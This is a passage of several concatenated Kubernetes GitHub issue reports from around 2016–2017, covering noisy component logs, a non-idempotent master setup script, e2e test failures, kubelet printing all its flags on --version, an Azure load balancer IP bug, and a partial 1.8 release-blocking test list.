some components produce a lot of useless logs, for example pod nanny prints the following messages every 10 second:\r    \r i1118 17:18:14.340223       1 nanny_lib.go:90  the number of nodes is 3\r i1118 17:18:14.435331       1 nanny_lib.go:98  the container resources are {limits:map memory:{i:{value:213909504 scale:0} d:{dec:<nil>} s:204mi format:binarysi}\r  cpu:{i:{value:88 scale:-3} d:{dec:<nil>} s:88m format:decimalsi}  requests:map cpu:{i:{value:88 scale:-3} d:{dec:<nil>} s:88m format:decimalsi} memory:{i:{value\r :213909504 scale:0} d:{dec:<nil>} s:204mi format:binarysi} }\r i1118 17:18:14.435652       1 nanny_lib.go:102  the expected resources are {limits:map cpu:{i:{value:0 scale:0} d:{dec:0xc820108660} s: format:decimalsi} memory:\r {i:{value:0 scale:0} d:{dec:0xc820108ae0} s: format:binarysi}  requests:map memory:{i:{value:0 scale:0} d:{dec:0xc820108ae0} s: format:binarysi} cpu:{i:{value:0 \r scale:0} d:{dec:0xc820108660} s: format:decimalsi} }\r i1118 17:18:14.435789       1 nanny_lib.go:106  resources are within the expected limits.\r    \r \r we should make sure that with the default logging verbosity only the relevant informations are being printed. the list of components to review:\r -     api server\r -  x  scheduler\r -     controller manager\r -     glbc\r -     etcd\r -     autoscaler\r -     rescheduler\r -     kubelet  37010\r -     kube-proxy\r -     addons\r   -     dns\r   -     dashboard\r   -  x  heapster+eventer+nanny https://github.com/kubernetes/contrib/issues/2337\r   -     glbc\r   -     node problem detector\r   -  x  fluentd

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : configure-helper.sh\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : 1.5 beta\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce  using gci for the master \r -   os    e.g. from /etc/os-release : gci\r -   kernel    e.g.  uname -a  :\r -   install tools  : kube-up.sh\r -   others  :\r \r \r   what happened  :  37257 exposed a bug where configure-helper.sh was broken. the script got past mounting the master pd, so fixing it locally and trying to re-run it has no effect because it gets to the step where it tries to mount the master pd and then errors out. we should fix the script to be tolerant of having the master pd be mounted so that if the script gets interrupted for some reason and then re-run by systemd it can run to completion. \r \r \r   what you expected to happen  : configure-helper.sh should be able to run successfully even if the master pd has already been mounted\r \r \r   how to reproduce it    as minimally and precisely as possible : \r \r 1. sync to master release-1.4 branch; run  make clean; make quick-release ; run  cluster/kube-up.sh \r 1. sync to the release-1.5 branch; run  cluster/gce/upgrade.sh -m v1.5.0-beta.1 \r 1. log into the kubernetes master, fix the error in the shell script  vi  /home/kubernetes/bin/configure-helper.sh  and fix line 809 as was done in  37358  then run  sudo /home/kubernetes/bin/configure-helper.sh  to see the script bail out\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/1173/ failed:  k8s.io  downward api volume should provide container's memory request  conformance  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:190 expected error:     < errors.errorstring | 0xc42066a6e0>: {         s: \ expected pod \\\ downwardapi-volume-6529edd1-d4f8-11e6-ba9b-42010a80000b\\\  success: pod \\\ downwardapi-volume-6529edd1-d4f8-11e6-ba9b-42010a80000b\\\  failed with status: {phase:failed conditions:   message:pod node didn't have enough resource: cpu, requested: 250, used: 850, capacity: 1000 reason:outofcpu hostip: podip: starttime:2017-01-07 16:43:20 +0000 utc initcontainerstatuses:   containerstatuses:   qosclass:}\ ,     }     expected pod \ downwardapi-volume-6529edd1-d4f8-11e6-ba9b-42010a80000b\  success: pod \ downwardapi-volume-6529edd1-d4f8-11e6-ba9b-42010a80000b\  failed with status: {phase:failed conditions:   message:pod node didn't have enough resource: cpu, requested: 250, used: 850, capacity: 1000 reason:outofcpu hostip: podip: starttime:2017-01-07 16:43:20 +0000 utc initcontainerstatuses:   containerstatuses:   qosclass:} not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2144

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2497/ failed:  k8s.io  configmap should be consumable in multiple volumes in the same pod  conformance   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:494 expected error:     < errors.errorstring | 0xc4206a05c0>: {         s: \ failed to get logs from pod-configmaps-b683893f-086b-11e7-a47d-42010a800006 for configmap-volume-test: an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get pods pod-configmaps-b683893f-086b-11e7-a47d-42010a800006 \ ,     }     failed to get logs from pod-configmaps-b683893f-086b-11e7-a47d-42010a800006 for configmap-volume-test: an error on the server  \ unknown\   has prevented the request from succeeding  get pods pod-configmaps-b683893f-086b-11e7-a47d-42010a800006  not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2195

https://k8s-testgrid.appspot.com/google-gce gce-multizone&width=5\r \r commits that might have broken it https://github.com/kubernetes/kubernetes/compare/079020f55...749ac27e9\r \r   https://github.com/kubernetes/kubernetes/pull/45003\r   https://github.com/kubernetes/kubernetes/pull/45932  aws elb tagging \r   https://github.com/kubernetes/kubernetes/pull/46146  unit test change only \r   https://github.com/kubernetes/kubernetes/pull/46127\r   https://github.com/kubernetes/kubernetes/pull/45518  portworx volume driver change \r \r api server logs from those tests are printing a lot of stack traces. e.g. https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-multizone/7095/artifacts/bootstrap-e2e-gce-mz-master/kube-apiserver.log\r \r cc/ @kubernetes/kubernetes-release-managers

reported by @random-liu in https://github.com/kubernetes/kubernetes/pull/46047 issuecomment-310492891. filing a bug for easy tracking.\r \r after  46047,  kubelet --version  now prints all flags and the version. this is pretty unconventional and should probably be fixed.\r \r    \r $ kubelet --version\r i0622 13:25:53.174546   28020 flags.go:52  flag: --address=\ 0.0.0.0\ \r i0622 13:25:53.174632   28020 flags.go:52  flag: --allow-privileged=\ false\ \r i0622 13:25:53.174643   28020 flags.go:52  flag: --alsologtostderr=\ false\ \r i0622 13:25:53.174654   28020 flags.go:52  flag: --anonymous-auth=\ true\ \r i0622 13:25:53.174665   28020 flags.go:52  flag: --api-servers=\   \ \r i0622 13:25:53.174686   28020 flags.go:52  flag: --application-metrics-count-limit=\ 100\ \r i0622 13:25:53.174696   28020 flags.go:52  flag: --authentication-token-webhook=\ false\ \r i0622 13:25:53.174705   28020 flags.go:52  flag: --authentication-token-webhook-cache-ttl=\ 2m0s\ \r i0622 13:25:53.174717   28020 flags.go:52  flag: --authorization-mode=\ alwaysallow\ \r i0622 13:25:53.174729   28020 flags.go:52  flag: --authorization-webhook-cache-authorized-ttl=\ 5m0s\ \r i0622 13:25:53.174738   28020 flags.go:52  flag: --authorization-webhook-cache-unauthorized-ttl=\ 30s\ \r i0622 13:25:53.174747   28020 flags.go:52  flag: --azure-container-registry-config=\ \ \r i0622 13:25:53.174755   28020 flags.go:52  flag: --boot-id-file=\ /proc/sys/kernel/random/boot_id\ \r i0622 13:25:53.174765   28020 flags.go:52  flag: --bootstrap-kubeconfig=\ \ \r i0622 13:25:53.174773   28020 flags.go:52  flag: --cadvisor-port=\ 4194\ \r i0622 13:25:53.174792   28020 flags.go:52  flag: --cert-dir=\ /var/run/kubernetes\ \r i0622 13:25:53.174801   28020 flags.go:52  flag: --cgroup-driver=\ cgroupfs\ \r i0622 13:25:53.174810   28020 flags.go:52  flag: --cgroup-root=\ \ \r i0622 13:25:53.174818   28020 flags.go:52  flag: --cgroups-per-qos=\ true\ \r i0622 13:25:53.174826   28020 flags.go:52  flag: --chaos-chance=\ 0\ \r i0622 13:25:53.174840   28020 flags.go:52  flag: --client-ca-file=\ \ \r i0622 13:25:53.174849   28020 flags.go:52  flag: --cloud-config=\ \ \r i0622 13:25:53.174858   28020 flags.go:52  flag: --cloud-provider=\ auto-detect\ \r i0622 13:25:53.174865   28020 flags.go:52  flag: --cloud-provider-gce-lb-src-cidrs=\ 130.211.0.0/22,35.191.0.0/16,209.85.152.0/22,209.85.204.0/22\ \r i0622 13:25:53.174876   28020 flags.go:52  flag: --cluster-dns=\   \ \r i0622 13:25:53.174888   28020 flags.go:52  flag: --cluster-domain=\ \ \r i0622 13:25:53.174896   28020 flags.go:52  flag: --cni-bin-dir=\ \ \r i0622 13:25:53.174904   28020 flags.go:52  flag: --cni-conf-dir=\ \ \r i0622 13:25:53.174912   28020 flags.go:52  flag: --container-hints=\ /etc/cadvisor/container_hints.json\ \r i0622 13:25:53.174922   28020 flags.go:52  flag: --container-runtime=\ docker\ \r i0622 13:25:53.174931   28020 flags.go:52  flag: --container-runtime-endpoint=\ unix:///var/run/dockershim.sock\ \r i0622 13:25:53.174940   28020 flags.go:52  flag: --containerized=\ false\ \r i0622 13:25:53.174948   28020 flags.go:52  flag: --contention-profiling=\ false\ \r i0622 13:25:53.174957   28020 flags.go:52  flag: --cpu-cfs-quota=\ true\ \r i0622 13:25:53.174965   28020 flags.go:52  flag: --docker=\ unix:///var/run/docker.sock\ \r i0622 13:25:53.174974   28020 flags.go:52  flag: --docker-disable-shared-pid=\ false\ \r i0622 13:25:53.174982   28020 flags.go:52  flag: --docker-endpoint=\ unix:///var/run/docker.sock\ \r i0622 13:25:53.174994   28020 flags.go:52  flag: --docker-env-metadata-whitelist=\ \ \r i0622 13:25:53.175000   28020 flags.go:52  flag: --docker-exec-handler=\ native\ \r i0622 13:25:53.175007   28020 flags.go:52  flag: --docker-only=\ false\ \r i0622 13:25:53.175014   28020 flags.go:52  flag: --docker-root=\ /var/lib/docker\ \r i0622 13:25:53.175022   28020 flags.go:52  flag: --enable-controller-attach-detach=\ true\ \r i0622 13:25:53.175031   28020 flags.go:52  flag: --enable-custom-metrics=\ false\ \r i0622 13:25:53.175039   28020 flags.go:52  flag: --enable-debugging-handlers=\ true\ \r i0622 13:25:53.175047   28020 flags.go:52  flag: --enable-load-reader=\ false\ \r i0622 13:25:53.175056   28020 flags.go:52  flag: --enable-server=\ true\ \r i0622 13:25:53.175064   28020 flags.go:52  flag: --enforce-node-allocatable=\  pods \ \r i0622 13:25:53.175076   28020 flags.go:52  flag: --event-burst=\ 10\ \r i0622 13:25:53.175085   28020 flags.go:52  flag: --event-qps=\ 5\ \r i0622 13:25:53.175093   28020 flags.go:52  flag: --event-storage-age-limit=\ default=0\ \r i0622 13:25:53.175102   28020 flags.go:52  flag: --event-storage-event-limit=\ default=0\ \r i0622 13:25:53.175110   28020 flags.go:52  flag: --eviction-hard=\ memory.available<100mi,nodefs.available<10%,nodefs.inodesfree<5%\ \r i0622 13:25:53.175120   28020 flags.go:52  flag: --eviction-max-pod-grace-period=\ 0\ \r i0622 13:25:53.175129   28020 flags.go:52  flag: --eviction-minimum-reclaim=\ \ \r i0622 13:25:53.175137   28020 flags.go:52  flag: --eviction-pressure-transition-period=\ 5m0s\ \r i0622 13:25:53.175145   28020 flags.go:52  flag: --eviction-soft=\ \ \r i0622 13:25:53.175153   28020 flags.go:52  flag: --eviction-soft-grace-period=\ \ \r i0622 13:25:53.175161   28020 flags.go:52  flag: --exit-on-lock-contention=\ false\ \r i0622 13:25:53.175169   28020 flags.go:52  flag: --experimental-allocatable-ignore-eviction=\ false\ \r i0622 13:25:53.175177   28020 flags.go:52  flag: --experimental-allowed-unsafe-sysctls=\   \ \r i0622 13:25:53.175189   28020 flags.go:52  flag: --experimental-bootstrap-kubeconfig=\ \ \r i0622 13:25:53.175197   28020 flags.go:52  flag: --experimental-check-node-capabilities-before-mount=\ false\ \r i0622 13:25:53.175205   28020 flags.go:52  flag: --experimental-dockershim=\ false\ \r i0622 13:25:53.175214   28020 flags.go:52  flag: --experimental-dockershim-root-directory=\ /var/lib/dockershim\ \r i0622 13:25:53.175222   28020 flags.go:52  flag: --experimental-fail-swap-on=\ false\ \r i0622 13:25:53.175230   28020 flags.go:52  flag: --experimental-kernel-memcg-notification=\ false\ \r i0622 13:25:53.175239   28020 flags.go:52  flag: --experimental-mounter-path=\ \ \r i0622 13:25:53.175247   28020 flags.go:52  flag: --experimental-qos-reserved=\ \ \r i0622 13:25:53.175259   28020 flags.go:52  flag: --feature-gates=\ \ \r i0622 13:25:53.175267   28020 flags.go:52  flag: --file-check-frequency=\ 20s\ \r i0622 13:25:53.175276   28020 flags.go:52  flag: --global-housekeeping-interval=\ 1m0s\ \r i0622 13:25:53.175284   28020 flags.go:52  flag: --google-json-key=\ \ \r i0622 13:25:53.175292   28020 flags.go:52  flag: --hairpin-mode=\ promiscuous-bridge\ \r i0622 13:25:53.175301   28020 flags.go:52  flag: --healthz-bind-address=\ 127.0.0.1\ \r i0622 13:25:53.175309   28020 flags.go:52  flag: --healthz-port=\ 10248\ \r i0622 13:25:53.175317   28020 flags.go:52  flag: --host-ipc-sources=\    \ \r i0622 13:25:53.175327   28020 flags.go:52  flag: --host-network-sources=\    \ \r i0622 13:25:53.175338   28020 flags.go:52  flag: --host-pid-sources=\    \ \r i0622 13:25:53.175348   28020 flags.go:52  flag: --hostname-override=\ \ \r i0622 13:25:53.175356   28020 flags.go:52  flag: --housekeeping-interval=\ 10s\ \r i0622 13:25:53.175364   28020 flags.go:52  flag: --http-check-frequency=\ 20s\ \r i0622 13:25:53.175372   28020 flags.go:52  flag: --image-gc-high-threshold=\ 85\ \r i0622 13:25:53.175381   28020 flags.go:52  flag: --image-gc-low-threshold=\ 80\ \r i0622 13:25:53.175389   28020 flags.go:52  flag: --image-pull-progress-deadline=\ 1m0s\ \r i0622 13:25:53.175397   28020 flags.go:52  flag: --image-service-endpoint=\ \ \r i0622 13:25:53.175405   28020 flags.go:52  flag: --iptables-drop-bit=\ 15\ \r i0622 13:25:53.175413   28020 flags.go:52  flag: --iptables-masquerade-bit=\ 14\ \r i0622 13:25:53.175421   28020 flags.go:52  flag: --keep-terminated-pod-volumes=\ false\ \r i0622 13:25:53.175429   28020 flags.go:52  flag: --kube-api-burst=\ 10\ \r i0622 13:25:53.175437   28020 flags.go:52  flag: --kube-api-content-type=\ application/vnd.kubernetes.protobuf\ \r i0622 13:25:53.175446   28020 flags.go:52  flag: --kube-api-qps=\ 5\ \r i0622 13:25:53.175454   28020 flags.go:52  flag: --kube-reserved=\ \ \r i0622 13:25:53.175463   28020 flags.go:52  flag: --kube-reserved-cgroup=\ \ \r i0622 13:25:53.175471   28020 flags.go:52  flag: --kubeconfig=\ /var/lib/kubelet/kubeconfig\ \r i0622 13:25:53.175482   28020 flags.go:52  flag: --kubelet-cgroups=\ \ \r i0622 13:25:53.175490   28020 flags.go:52  flag: --lock-file=\ \ \r i0622 13:25:53.175498   28020 flags.go:52  flag: --log-backtrace-at=\ :0\ \r i0622 13:25:53.175509   28020 flags.go:52  flag: --log-cadvisor-usage=\ false\ \r i0622 13:25:53.175518   28020 flags.go:52  flag: --log-dir=\ \ \r i0622 13:25:53.175527   28020 flags.go:52  flag: --log-flush-frequency=\ 5s\ \r i0622 13:25:53.175535   28020 flags.go:52  flag: --logtostderr=\ true\ \r i0622 13:25:53.175543   28020 flags.go:52  flag: --low-diskspace-threshold-mb=\ 0\ \r i0622 13:25:53.175551   28020 flags.go:52  flag: --machine-id-file=\ /etc/machine-id,/var/lib/dbus/machine-id\ \r i0622 13:25:53.175561   28020 flags.go:52  flag: --make-iptables-util-chains=\ true\ \r i0622 13:25:53.175569   28020 flags.go:52  flag: --manifest-url=\ \ \r i0622 13:25:53.175577   28020 flags.go:52  flag: --manifest-url-header=\ \ \r i0622 13:25:53.175585   28020 flags.go:52  flag: --master-service-namespace=\ default\ \r i0622 13:25:53.175593   28020 flags.go:52  flag: --max-open-files=\ 1000000\ \r i0622 13:25:53.175604   28020 flags.go:52  flag: --max-pods=\ 110\ \r i0622 13:25:53.175613   28020 flags.go:52  flag: --maximum-dead-containers=\ -1\ \r i0622 13:25:53.175621   28020 flags.go:52  flag: --maximum-dead-containers-per-container=\ 1\ \r i0622 13:25:53.175629   28020 flags.go:52  flag: --minimum-container-ttl-duration=\ 0s\ \r i0622 13:25:53.175637   28020 flags.go:52  flag: --minimum-image-ttl-duration=\ 2m0s\ \r i0622 13:25:53.175645   28020 flags.go:52  flag: --network-plugin=\ \ \r i0622 13:25:53.175653   28020 flags.go:52  flag: --network-plugin-dir=\ \ \r i0622 13:25:53.175661   28020 flags.go:52  flag: --network-plugin-mtu=\ 0\ \r i0622 13:25:53.175669   28020 flags.go:52  flag: --node-ip=\ \ \r i0622 13:25:53.175677   28020 flags.go:52  flag: --node-labels=\ \ \r i0622 13:25:53.175688   28020 flags.go:52  flag: --node-status-update-frequency=\ 10s\ \r i0622 13:25:53.175696   28020 flags.go:52  flag: --non-masquerade-cidr=\ 10.0.0.0/8\ \r i0622 13:25:53.175704   28020 flags.go:52  flag: --oom-score-adj=\ -999\ \r i0622 13:25:53.175712   28020 flags.go:52  flag: --outofdisk-transition-frequency=\ 5m0s\ \r i0622 13:25:53.175721   28020 flags.go:52  flag: --pod-cidr=\ \ \r i0622 13:25:53.175729   28020 flags.go:52  flag: --pod-infra-container-image=\ gcr.io/google_containers/pause-amd64:3.0\ \r i0622 13:25:53.175738   28020 flags.go:52  flag: --pod-manifest-path=\ \ \r i0622 13:25:53.175745   28020 flags.go:52  flag: --pods-per-core=\ 0\ \r i0622 13:25:53.175753   28020 flags.go:52  flag: --port=\ 10250\ \r i0622 13:25:53.175762   28020 flags.go:52  flag: --protect-kernel-defaults=\ false\ \r i0622 13:25:53.175770   28020 flags.go:52  flag: --provider-id=\ \ \r i0622 13:25:53.175778   28020 flags.go:52  flag: --read-only-port=\ 10255\ \r i0622 13:25:53.175786   28020 flags.go:52  flag: --really-crash-for-testing=\ false\ \r i0622 13:25:53.175794   28020 flags.go:52  flag: --register-node=\ true\ \r i0622 13:25:53.175802   28020 flags.go:52  flag: --register-schedulable=\ true\ \r i0622 13:25:53.175810   28020 flags.go:52  flag: --register-with-taints=\ <nil>\ \r i0622 13:25:53.175821   28020 flags.go:52  flag: --registry-burst=\ 10\ \r i0622 13:25:53.175830   28020 flags.go:52  flag: --registry-qps=\ 5\ \r i0622 13:25:53.175838   28020 flags.go:52  flag: --require-kubeconfig=\ false\ \r i0622 13:25:53.175846   28020 flags.go:52  flag: --resolv-conf=\ /etc/resolv.conf\ \r i0622 13:25:53.175854   28020 flags.go:52  flag: --rkt-api-endpoint=\ localhost:15441\ \r i0622 13:25:53.175862   28020 flags.go:52  flag: --rkt-path=\ \ \r i0622 13:25:53.175870   28020 flags.go:52  flag: --rkt-stage1-image=\ \ \r i0622 13:25:53.175878   28020 flags.go:52  flag: --root-dir=\ /var/lib/kubelet\ \r i0622 13:25:53.175886   28020 flags.go:52  flag: --runonce=\ false\ \r i0622 13:25:53.175894   28020 flags.go:52  flag: --runtime-cgroups=\ \ \r i0622 13:25:53.175902   28020 flags.go:52  flag: --runtime-request-timeout=\ 2m0s\ \r i0622 13:25:53.175910   28020 flags.go:52  flag: --seccomp-profile-root=\ /var/lib/kubelet/seccomp\ \r i0622 13:25:53.175919   28020 flags.go:52  flag: --serialize-image-pulls=\ true\ \r i0622 13:25:53.175927   28020 flags.go:52  flag: --stderrthreshold=\ 2\ \r i0622 13:25:53.175935   28020 flags.go:52  flag: --storage-driver-buffer-duration=\ 1m0s\ \r i0622 13:25:53.175944   28020 flags.go:52  flag: --storage-driver-db=\ cadvisor\ \r i0622 13:25:53.175952   28020 flags.go:52  flag: --storage-driver-host=\ localhost:8086\ \r i0622 13:25:53.175960   28020 flags.go:52  flag: --storage-driver-password=\ root\ \r i0622 13:25:53.175968   28020 flags.go:52  flag: --storage-driver-secure=\ false\ \r i0622 13:25:53.175976   28020 flags.go:52  flag: --storage-driver-table=\ stats\ \r i0622 13:25:53.175985   28020 flags.go:52  flag: --storage-driver-user=\ root\ \r i0622 13:25:53.175992   28020 flags.go:52  flag: --streaming-connection-idle-timeout=\ 4h0m0s\ \r i0622 13:25:53.176001   28020 flags.go:52  flag: --sync-frequency=\ 1m0s\ \r i0622 13:25:53.176009   28020 flags.go:52  flag: --system-cgroups=\ \ \r i0622 13:25:53.176017   28020 flags.go:52  flag: --system-reserved=\ \ \r i0622 13:25:53.176026   28020 flags.go:52  flag: --system-reserved-cgroup=\ \ \r i0622 13:25:53.176034   28020 flags.go:52  flag: --tls-cert-file=\ \ \r i0622 13:25:53.176042   28020 flags.go:52  flag: --tls-private-key-file=\ \ \r i0622 13:25:53.176049   28020 flags.go:52  flag: --v=\ 0\ \r i0622 13:25:53.176057   28020 flags.go:52  flag: --version=\ true\ \r i0622 13:25:53.176069   28020 flags.go:52  flag: --vmodule=\ \ \r i0622 13:25:53.176078   28020 flags.go:52  flag: --volume-plugin-dir=\ /usr/libexec/kubernetes/kubelet-plugins/volume/exec/\ \r i0622 13:25:53.176088   28020 flags.go:52  flag: --volume-stats-agg-period=\ 1m0s\ \r kubernetes v1.8.0-alpha.1.53+98c0787e7731e9-dirty\r    \r \r /cc @mml

not sure if this is a bug or intended behaviour\r \r   what happened  :\r i deploy a kubernetes service pointing to an exiting ip in another resource group\r \r    \r spec:\r   type: loadbalancer\r   loadbalancerip: xx.xx.xx.xxx\r    \r when i do  kubectl get svc my-service  my service is stuck with external-ip in <pending> status.\r when i describe service i see it cannot find the ip:\r \r error creating load balancer  will retry : failed to create load balancer for service namespace/my-service: user supplied ip address xx.xx.xx.xxx was not found\r \r my ip is in another resource group.\r \r   what you expected to happen  :\r when i do  kubectl get svc my-service  i expect service to be created with external-ip column populated with my provided ip, however it gets stuck in <pending> status\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create azure acs cluster with acs-engine k8 version 1.7.1\r create azure public ip address in another resource group.\r try deploy yaml:\r \r    \r apiversion: v1\r kind: service\r metadata:\r   name: my-service\r   namespace: my-ns\r spec:\r   type: loadbalancer\r   loadbalancerip: xx.xx.xx.xxx\r   selector:\r     app: some-app\r   ports:\r     - protocol: tcp\r       port: 80\r       targetport: 80\r    \r wait a couple seconds and try describe:\r kubectl describe svc --namespace=my-ns my-service\r \r   anything else we need to know?  :\r \r   environment  :\r azure acs using acs-engine\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t01:48:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r might be related to this https://github.com/azure/acs/issues/44\r \r thanks in advance for any information regarding this : \r

the 1.8 release team would like to identify the list of tests we are using for go / no-go signal.  this umbrella issue is to gain consensus on  and link to pr's that help with :\r \r - our decision to continue the trend of expecting tests to pass 3 times in a row for go / no-go signal, except for...\r - tests we will be willing to relax this expectation  eg: upgrade tests, flaky tests, and long tests \r - tests we believe should be removed from the release-1.8-blocking dashboard\r - upgrade tests we are willing to explain away as known failures\r \r ---\r \r  release-1.8-blocking  https://k8s-testgrid.appspot.com/release-1.8-blocking \r \r -  build-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking build-1.8 \r -  verify-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking verify-1.8 \r -  test-go-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking test-go-1.8 \r -  gce-kubeadm-1.7-on-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gce-kubeadm-1.7-on-1.8 \r -  periodic-gce-kubeadm-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking periodic-gce-kubeadm-1.8 \r -  gci-gce-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gce-1.8 \r -  gci-gce-slow-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gce-slow-1.8 \r   - flaky suite, unique flakes, it may be difficult to achieve three passes in a row\r -  gci-gce-serial-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gce-serial-1.8 \r   - long suite, takes ~15h to achieve 3 consecutive passes\r -  gci-gce-alpha-features-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gce-alpha-features-1.8 \r -  gci-gce-scalability-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gce-scalability-1.8 \r -  gci-gce-ingress-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gce-ingress-1.8 \r -  gci-gce-reboot-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gce-reboot-1.8 \r -  gci-gke-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gke-1.8 \r   - possible flaky suite with unique flakes  two frequent flakes \r   - ~fixed non-blocking most frequent flake:  sig-api-machinery  aggregator should be able to support the 1.7 sample api server using the current aggregator    50945  https://github.com/kubernetes/kubernetes/issues/50945     pr:   53030  https://github.com/kubernetes/kubernetes/pull/53030  ~\r   - next most frequent flake:  sig-apps  job should run a job to completion when tasks sometimes fail and are not locally restarted\r -  gci-gke-slow-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gke-slow-1.8 \r -  gci-gke-serial-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gke-serial-1.8 \r   - long suite, takes ~15h to achieve 3 consecutive passes\r -  gci-gke-ingress-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gke-ingress-1.8 \r -  gci-gke-reboot-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking gci-gke-reboot-1.8 \r -  kops-aws-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking kops-aws-1.8 \r -  federation-build-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking federation-build-1.8 \r -  federation-test-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking federation-test-1.8 \r -  kubelet-1.8  https://k8s-testgrid.appspot.com/release-1.8-blocking kubelet-1.8 \r   - possibly flaky suite  two flakes \r   - most frequent flake: \\ k8s.io\\  security context when creating a pod in the host network namespace should listen on same port in the host network containers    53091  https://github.com/kubernetes/kubernetes/issues/53091  \r   - low frequency flake: \\ k8s.io\\  pods should be submitted and removed  conformance  \r -  gce-gpu-1-8  https://k8s-testgrid.appspot.com/release-1.8-blocking gce-gpu-1-8 \r -  gke-gpu-1-8  https://k8s-testgrid.appspot.com/release-1.8-blocking gke-gpu-1-8 \r \r ---\r \r  release-1.8-upgrade-skew  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew \r \r -  gke-gci-1.6-gci-1.8-upgrade-master  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-gci-1.6-gci-1.8-upgrade-master \r   - ~fail:  k8s.io  dns should provide dns for externalname services    50274  https://github.com/kubernetes/kubernetes/issues/50274    pr:   53015  https://github.com/kubernetes/kubernetes/issues/53015  ~\r   - ~non-blocking wont-fix fail:  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should not deadlock when a pod's predecessor fails    52808  https://github.com/kubernetes/kubernetes/issues/52808  ~\r   - ~non-blocking wont-fix fail :  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity    52808  https://github.com/kubernetes/kubernetes/issues/52808  ~\r -  gke-gci-1.6-gci-1.8-upgrade-cluster  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-gci-1.6-gci-1.8-upgrade-cluster \r   - ~fail:  k8s.io  dns should provide dns for externalname services    50274  https://github.com/kubernetes/kubernetes/issues/50274     pr:   53015  https://github.com/kubernetes/kubernetes/issues/53015  ~\r   - ~non-blocking wont-fix fail:  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should not deadlock when a pod's predecessor fails    52808  https://github.com/kubernetes/kubernetes/issues/52808  ~\r   - ~non-blocking wont-fix fail:  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity    52808  https://github.com/kubernetes/kubernetes/issues/52808  ~\r -  gke-gci-1.6-gci-1.8-upgrade-cluster-new  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-gci-1.6-gci-1.8-upgrade-cluster-new \r   - ~non-blocking frequent flake:  sig-api-machinery  aggregator should be able to support the 1.7 sample api server using the current aggregator  pr:   53030  https://github.com/kubernetes/kubernetes/pull/53030  ~\r -  gke-gci-1.7-gci-1.8-upgrade-master  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-gci-1.7-gci-1.8-upgrade-master \r   - long suite: ~36h to achieve 3 consecutive passes\r   - ~fail:  k8s.io  dns should provide dns for externalname services    50274  https://github.com/kubernetes/kubernetes/issues/50274    pr:   52875  https://github.com/kubernetes/kubernetes/pull/52875  ~\r -  gke-gci-1.7-gci-1.8-upgrade-cluster  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-gci-1.7-gci-1.8-upgrade-cluster \r   - long suite: ~36h to achieve 3 consecutive passes\r   - fail:  k8s.io  dns should provide dns for externalname services    50274  https://github.com/kubernetes/kubernetes/issues/50274    pr:   52875  https://github.com/kubernetes/kubernetes/pull/52875  \r -  gke-gci-1.7-gci-1.8-upgrade-cluster-new  https://k8s-testgrid.appspot.com/release-1.8-upgrade-skew gke-gci-1.7-gci-1.8-upgrade-cluster-new \r   - long suite: ~36h to achieve 3 consecutive passes\r -  gke-cvm-1-6-gci-1-8-upgrade-master  